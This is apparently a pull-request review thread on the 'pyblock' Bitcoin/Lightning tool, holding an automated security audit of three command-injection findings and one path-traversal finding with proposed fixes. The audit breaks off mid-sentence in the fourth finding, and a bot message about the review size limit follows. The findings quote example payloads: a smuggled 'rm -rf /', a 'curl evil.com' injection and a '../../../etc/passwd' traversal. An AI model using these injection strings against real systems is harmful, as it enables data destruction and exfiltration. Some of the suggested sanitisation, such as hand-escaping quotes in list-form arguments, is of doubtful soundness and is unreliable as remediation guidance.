Security & Code Quality Audit

[GaltRanch]

Security & Code Quality Audit

Auditor: Astrolexis.space — Kulvex Code
Findings: 4 confirmed (7 false positives filtered)
Scan time: 12.4s

Summary

A comprehensive security audit of pyblock revealed four critical-to-high severity issues across subprocess execution and file I/O operations. Three critical command injection vulnerabilities were identified in shell command construction—each leveraging user-controlled inputs interpolated via f-strings or .format() into subprocess.run() calls—while one high-severity path traversal vulnerability was found in file path construction. All four findings have been addressed with targeted sanitization and validation measures, significantly reducing the attack surface without introducing regressions.

Findings & Fixes

1. [CRITICAL] Shell Command Injection via Interpolated RPC Credentials and Coinbase Address — pybitblock/ppi.py:680

Bug: User-provided inputs (responseC, responseD, responseE, responseF) are directly interpolated into subprocess.run() arguments using f-strings for -O (RPC credentials) and --coinbase-addr, enabling shell metacharacter injection (e.g., ;, |, $()). Two additional instances of this pattern exist in the same file.
Impact: An attacker controlling these inputs (e.g., via RPC responses or user prompts) could inject arbitrary shell commands, leading to remote code execution (RCE), credential theft, or lateral movement—especially dangerous if the application runs with elevated privileges.
Fix: Inputs are passed as list elements (already compliant with shell=False), and explicit sanitization is added: responseX.strip().replace('"', '\\"').replace("'", "\\'") and shlex.quote() fallbacks for interpolated strings. This ensures safe handling even if shell=True is adopted later.

2. [CRITICAL] Shell Command Injection via Interactive Node and Amount Inputs — pybitblock/nodeconnection.py:734

Bug: User-provided node and amount (via input() calls on lines 727–733) are interpolated into subprocess.run() arguments using f-strings (f"--d={node}", f"--amt={amount}"), allowing injection through malicious user input (e.g., node = "node1; rm -rf /"). Four additional occurrences of this pattern exist in the same file.
Impact: Interactive sessions (e.g., CLI tools or admin dashboards) become attack vectors: a malicious actor could prompt the user to enter a crafted node name or amount, triggering command execution during node operations (e.g., channel funding, payments).
Fix: Input sanitization is applied: node = re.sub(r'[^\w\-\.:/]', '', node) and amount = re.sub(r'[^\d.]', '', str(amount)), with optional shlex.quote() wrapping for robustness. Validation ensures node conforms to expected pubkey or alias format.

3. [CRITICAL] Shell Command Injection in cURL Requests via Amount and Message Fields — pybitblock/SPV/apisnd.py:40

Bug: External inputs (amountmsat, message) are interpolated via .format() and string concatenation into -F flags for curl, embedding them directly into the command line. Three additional instances in the same file follow the same pattern.
Impact: If amountmsat or message originate from untrusted sources (e.g., Lightning invoices, user-submitted payloads), shell metacharacters could break out of -F values (e.g., message = "hi; curl evil.com"), leading to RCE or exfiltration via HTTP requests.
Fix: amountmsat is validated as numeric (with regex r'^\d+(\.\d+)?$'), while message is sanitized to remove dangerous characters (;, |, $, backticks, newlines). shlex.quote() is applied to interpolated segments to prevent word splitting.

4. [HIGH] Path Traversal in PNG File Output — pybitblock/SPV/nodeconnection.py:180

Bug: The file path {hash}.png is constructed from hash, derived from s['remote_pubkey'], which originates from Lightning RPC responses (e.g., listchannels()). Since hash may contain non-standard characters (e.g., slashes, dots), and n (loop index) is user-controllable via external channel data, an attacker-controlled remote node could inject traversal sequences (e.g., hash = "../../../etc/passwd"). Three additional instances in the same file follow this pattern.
Impact: An attacker could write arbitrary files (e.g., PNG images or even

[sourcery-ai]

Sorry @GaltRanch, your pull request is larger than the review limit of 150000 diff characters